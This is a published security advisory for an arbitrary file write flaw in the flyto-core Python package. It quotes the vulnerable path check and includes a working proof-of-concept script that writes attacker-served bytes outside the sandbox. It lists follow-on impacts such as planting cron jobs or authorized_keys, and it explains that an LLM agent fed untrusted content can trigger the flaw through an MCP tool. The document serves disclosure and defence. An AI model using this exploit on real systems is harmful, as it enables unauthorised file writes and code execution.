CVE-2026-67429: Flyto2 Core Arbitrary File Write Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2956-977x-2w3r",
  "modified" : "2026-07-30T14:46:43Z",
  "published" : "2026-07-30T14:46:43Z",
  "aliases" : [ "CVE-2026-67429" ],
  "summary" : "Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)",
  "details" : "## Summary\n\n`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.\n\n## Affected code\n\n`src/core/modules/atomic/image/download.py`:\n\n```python\noutput_path = params.get('output_path')\noutput_dir  = params.get('output_dir', '/tmp')   # caller-controlled base\n...\nbase_real   = os.path.realpath(output_dir)\ntarget_real = os.path.realpath(output_path)\nif os.path.commonpath([base_real, target_real]) != base_real:\n    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes\n...\ncontent = await response.read()                   # attacker-hosted bytes\nwith open(target_real, 'wb') as f:\n    f.write(content)\n```\n\n`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.\n\nThis is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.\n\n## Reproduction\n\nSave as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # let the content host pass the SSRF check\nEVIL = b\"#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\"\n\nclass Content(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)\n    def log_message(self, *a): pass\n\nasync def run(mid, params):\n    from core.modules.registry import ModuleRegistry\n    try:\n        return (\"RESULT\", await ModuleRegistry.execute(mid, params=params, context={}))\n    except Exception as e:\n        return (\"EXC\", f\"{type(e).__name__}: {e}\")\n\nasync def main():\n    from core.modules.atomic import register_all\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Content).serve_forever, daemon=True).start()\n    root = tempfile.mkdtemp(prefix=\"flyto_poc_\")\n    sandbox = os.path.join(root, \"sandbox\"); os.makedirs(sandbox)\n    escape = os.path.join(root, \"ESCAPE\"); os.makedirs(escape)\n    os.environ[\"FLYTO_SANDBOX_DIR\"] = sandbox\n    target = os.path.join(escape, \"pwned\")   # OUTSIDE the sandbox\n    print(\"A) file.write:\", await run(\"file.write\", {\"path\": target, \"content\": \"x\"}))\n    print(\"B) image.download:\", await run(\"image.download\", {\n        \"url\": \"http://localhost:8080/x.jpg\", \"output_dir\": escape, \"output_path\": target}))\n    print(\"file written outside sandbox?\", os.path.exists(target))\n    if os.path.exists(target):\n        print(\"content:\", open(target, \"rb\").read())\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nA) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')\nB) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})\nfile written outside sandbox? True\ncontent: b'#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n'\n```\n\n`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.\n\n## Reachability (why this is not operator self-service)\n\n`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.\n\n## Impact\n\nWrite arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).\n\n## Suggested fix\n\nUse `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "flyto-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.26.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67429"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/flytohub/flyto-core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-30T14:46:43Z",
    "nvd_published_at" : "2026-07-29T19:16:52Z"
  }
}